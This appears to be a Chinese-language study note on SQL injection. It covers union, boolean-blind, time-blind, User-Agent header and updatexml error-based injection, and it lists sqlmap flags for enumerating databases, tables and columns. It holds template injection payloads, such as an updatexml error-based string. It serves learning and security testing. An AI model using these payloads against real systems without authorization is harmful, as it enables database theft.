1. 数据库
1.1 常见数据
Oracle,SQL Server,DB2,PostgreSQL,MySQL,Access
1.2 联合注入
(1)information_schema 在里面有个存着所有库名的表:schemata,里面的schema_name:所有库名
(2)information_schema 在里面有个存着所有表名的表:tables,table_schema:所有库名,table_name:所有表名
(3)information_schema 在里面有个存着所有字段名的表:columns, table_schema:所有库名,table_name:所有表名,columns_name:所有字段名
* 代表所有 database()当前数据库名
select 字段名 from 表名 从表里查询所有内容
where 有条件的从表中选取数据
and 连接条件(同时满足)
or 连接条件(可同时不满足)
order by 根据指定的结果集/指定的列进行排序(列名和第几列)
limit x,1 显示x-1行的字段
union select 将多个表拼在一起(但是字段数必须一样)
%23/#/-- /-- 注释
万能语句
select table_name from information_schema.tables where table_schema=database() 查找当前库本身的表名
select column_name from information_schema.columns where table_schema=database() and table_name='查到的表名'
查找查到表名的字段
select "查到的字段" from "查到的表名
2.盲注
2.1 布尔盲注
database()当前数据库名 substr()将数据库名拆分 ascii()转化为ASCII码
ascii(substr(database()n,1) 将数据库名从n位拆分并转化为ASCII码
select length(database()) 判断当前数据库名字长度
实战中通常将上列函数配合<,>,= 使用
2.2 时间盲注
sleep() 延迟时间返回数据
if(条件,结果(条件成立输出),结果(条件不成立输出))
3. header注入
2.1 User-Agent(bp工具:抓包,repeater功能)
参数用户可控,与数据库发生交互,进入且执行
insert into 表名(字段,字段)values('值','值') 插入语句
2.2报错注入(插件:Modheader)
原理:通过数据库写入非法路径报错的特性,来告诉我们数据库名/表名/字段名(把想要的东西,以报错的形式展现出来)
concat() 组合函数
select updatexml(目标xml内容,xml文档路径,更新内容) 更新xml文档的函数
select concat('~',(select database())) 将~和当前数据库名连接在一起,~可以被别的符号替换,也可换成16进制
select updatexml(1,concat('~',(select (数据库/表名/字段名)),1) 通过报错来告诉当前的数据库/表名/字段名
insert into 表名(字段,字段)values('' and updatexml(1,concat('~',(select (数据库/表名/字段名)),1))-- sfa,'值')
' and updatexml(1,concat('~',(select (数据库/表名/字段名)),1))-- sfa 注入语句
4.注入过程
找到注入点(判断是否能够注入)---->判断有几个字段(order by) --->查找回旋点(可以在页面显示出来)---->通过SQL语句(万能语句)找到数据
问题:为了避免符号传输问题,将符号改为URL编码
5.sqlmap
使用手册:https://www.cnblogs.com/hongfei/p/3872156.html
常用命令:url 判断可注入的参数 ,判断可以用那种SQL注入技术来注入,识别出哪种数据库,根据用户选择,读取哪些数据
-r sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie)
--dbs 即可列出所有的数据库。
--tables 可列出一个特定数据的所有表。
--columns 可列出指定数据库表中的字段,同时也会列出字段的数据类型。默认会使用当前数据库。
--flush-session 清除缓存
--batch 按默认值运行
-m 一起跑多个url
(注意:有时候需要告诉工具在哪里注入,放置*并且补全)